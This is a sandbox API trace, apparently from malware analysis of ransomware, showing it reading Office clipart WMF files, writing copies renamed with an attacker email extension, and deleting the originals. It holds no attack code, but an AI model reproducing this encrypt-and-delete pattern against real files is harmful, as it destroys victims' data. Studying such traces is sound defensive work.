	[0072.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.775] lstrlenW (lpString=".ppt") returned 4
	[0072.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.775] lstrlenW (lpString=".zip") returned 4
	[0072.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.775] lstrlenW (lpString=".rar") returned 4
	[0072.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.775] lstrlenW (lpString=".bz2") returned 4
	[0072.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.776] lstrlenW (lpString=".7z") returned 3
	[0072.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.776] lstrlenW (lpString=".dbf") returned 4
	[0072.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.776] lstrlenW (lpString=".1cd") returned 4
	[0072.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.776] lstrlenW (lpString=".jpg") returned 4
	[0072.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.776] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.776] lstrlenW (lpString="BD00141_.WMF") returned 12
	[0072.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0072.777] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=26886) returned 1
	[0072.777] CloseHandle (hObject=0x2c0) returned 1
	[0072.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220
	[0072.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0072.777] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.777] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.779] GetLastError () returned 0x0
	[0072.779] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x6906, lpOverlapped=0x0) returned 1
	[0072.786] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x6910, lpOverlapped=0x0) returned 1
	[0072.788] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.788] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.788] SetEndOfFile (hFile=0x390) returned 1
	[0072.788] CloseHandle (hObject=0x390) returned 1
	[0072.789] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.789] SetEndOfFile (hFile=0x2c0) returned 1
	[0072.791] CloseHandle (hObject=0x2c0) returned 1
	[0072.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1
	[0072.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.791] lstrlenW (lpString=".doc") returned 4
	[0072.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.791] lstrlenW (lpString=".docx") returned 5
	[0072.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.791] lstrlenW (lpString=".pdf") returned 4
	[0072.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.791] lstrlenW (lpString=".xls") returned 4
	[0072.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.791] lstrlenW (lpString=".xlsx") returned 5
	[0072.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.792] lstrlenW (lpString=".ppt") returned 4
	[0072.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.792] lstrlenW (lpString=".zip") returned 4
	[0072.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.792] lstrlenW (lpString=".rar") returned 4
	[0072.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.792] lstrlenW (lpString=".bz2") returned 4
	[0072.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.792] lstrlenW (lpString=".7z") returned 3
	[0072.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.792] lstrlenW (lpString=".dbf") returned 4
	[0072.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.792] lstrlenW (lpString=".1cd") returned 4
	[0072.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.792] lstrlenW (lpString=".jpg") returned 4
	[0072.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.792] lstrlenW (lpString=".doc") returned 4
	[0072.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.792] lstrlenW (lpString=".docx") returned 5
	[0072.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.792] lstrlenW (lpString=".pdf") returned 4
	[0072.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.792] lstrlenW (lpString=".xls") returned 4
	[0072.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.792] lstrlenW (lpString=".xlsx") returned 5
	[0072.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.793] lstrlenW (lpString=".ppt") returned 4
	[0072.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.793] lstrlenW (lpString=".zip") returned 4
	[0072.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.793] lstrlenW (lpString=".rar") returned 4
	[0072.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.793] lstrlenW (lpString=".bz2") returned 4
	[0072.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.793] lstrlenW (lpString=".7z") returned 3
	[0072.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.793] lstrlenW (lpString=".dbf") returned 4
	[0072.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.793] lstrlenW (lpString=".1cd") returned 4
	[0072.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0072.793] lstrlenW (lpString=".jpg") returned 4
	[0072.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.793] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.793] lstrlenW (lpString="BD00155_.WMF") returned 12
	[0072.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0072.794] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=11636) returned 1
	[0072.794] CloseHandle (hObject=0x2c0) returned 1
	[0072.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220
	[0072.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0072.794] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.794] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.794] GetLastError () returned 0x0
	[0072.794] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x2d74, lpOverlapped=0x0) returned 1
	[0072.806] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0072.807] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.807] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.807] SetEndOfFile (hFile=0x390) returned 1
	[0072.808] CloseHandle (hObject=0x390) returned 1
	[0072.808] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.808] SetEndOfFile (hFile=0x2c0) returned 1
	[0072.809] CloseHandle (hObject=0x2c0) returned 1
	[0072.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1
	[0072.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.810] lstrlenW (lpString=".doc") returned 4
	[0072.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.810] lstrlenW (lpString=".docx") returned 5
	[0072.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.810] lstrlenW (lpString=".pdf") returned 4
	[0072.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.810] lstrlenW (lpString=".xls") returned 4
	[0072.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.810] lstrlenW (lpString=".xlsx") returned 5
	[0072.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.810] lstrlenW (lpString=".ppt") returned 4
	[0072.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.810] lstrlenW (lpString=".zip") returned 4
	[0072.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.810] lstrlenW (lpString=".rar") returned 4
	[0072.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.810] lstrlenW (lpString=".bz2") returned 4
	[0072.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.810] lstrlenW (lpString=".7z") returned 3
	[0072.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.810] lstrlenW (lpString=".dbf") returned 4
	[0072.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.811] lstrlenW (lpString=".1cd") returned 4
	[0072.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.811] lstrlenW (lpString=".jpg") returned 4
	[0072.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.811] lstrlenW (lpString=".doc") returned 4
	[0072.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.811] lstrlenW (lpString=".docx") returned 5
	[0072.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.811] lstrlenW (lpString=".pdf") returned 4
	[0072.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.811] lstrlenW (lpString=".xls") returned 4
	[0072.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.811] lstrlenW (lpString=".xlsx") returned 5
	[0072.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.811] lstrlenW (lpString=".ppt") returned 4
	[0072.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.811] lstrlenW (lpString=".zip") returned 4
	[0072.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.811] lstrlenW (lpString=".rar") returned 4
	[0072.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.811] lstrlenW (lpString=".bz2") returned 4
	[0072.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.811] lstrlenW (lpString=".7z") returned 3
	[0072.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.811] lstrlenW (lpString=".dbf") returned 4
	[0072.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.812] lstrlenW (lpString=".1cd") returned 4
	[0072.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0072.812] lstrlenW (lpString=".jpg") returned 4
	[0072.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.812] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.812] lstrlenW (lpString="BD00173_.WMF") returned 12
	[0072.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0072.812] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=16180) returned 1
	[0072.812] CloseHandle (hObject=0x2c0) returned 1
	[0072.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220
	[0072.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0072.812] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.813] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.813] GetLastError () returned 0x0
	[0072.813] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x3f34, lpOverlapped=0x0) returned 1
	[0073.183] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x3f40, lpOverlapped=0x0) returned 1
	[0073.185] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.185] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.185] SetEndOfFile (hFile=0x390) returned 1
	[0073.185] CloseHandle (hObject=0x390) returned 1
	[0073.187] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.187] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.188] CloseHandle (hObject=0x2c0) returned 1
	[0073.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1
	[0073.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.188] lstrlenW (lpString=".doc") returned 4
	[0073.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.188] lstrlenW (lpString=".docx") returned 5
	[0073.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.188] lstrlenW (lpString=".pdf") returned 4
	[0073.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.188] lstrlenW (lpString=".xls") returned 4
	[0073.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.189] lstrlenW (lpString=".xlsx") returned 5
	[0073.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.189] lstrlenW (lpString=".ppt") returned 4
	[0073.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.189] lstrlenW (lpString=".zip") returned 4
	[0073.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.189] lstrlenW (lpString=".rar") returned 4
	[0073.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.189] lstrlenW (lpString=".bz2") returned 4
	[0073.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.189] lstrlenW (lpString=".7z") returned 3
	[0073.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.189] lstrlenW (lpString=".dbf") returned 4
	[0073.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.189] lstrlenW (lpString=".1cd") returned 4
	[0073.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.189] lstrlenW (lpString=".jpg") returned 4
	[0073.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.189] lstrlenW (lpString=".doc") returned 4
	[0073.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.189] lstrlenW (lpString=".docx") returned 5
	[0073.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.189] lstrlenW (lpString=".pdf") returned 4
	[0073.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.189] lstrlenW (lpString=".xls") returned 4
	[0073.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.190] lstrlenW (lpString=".xlsx") returned 5
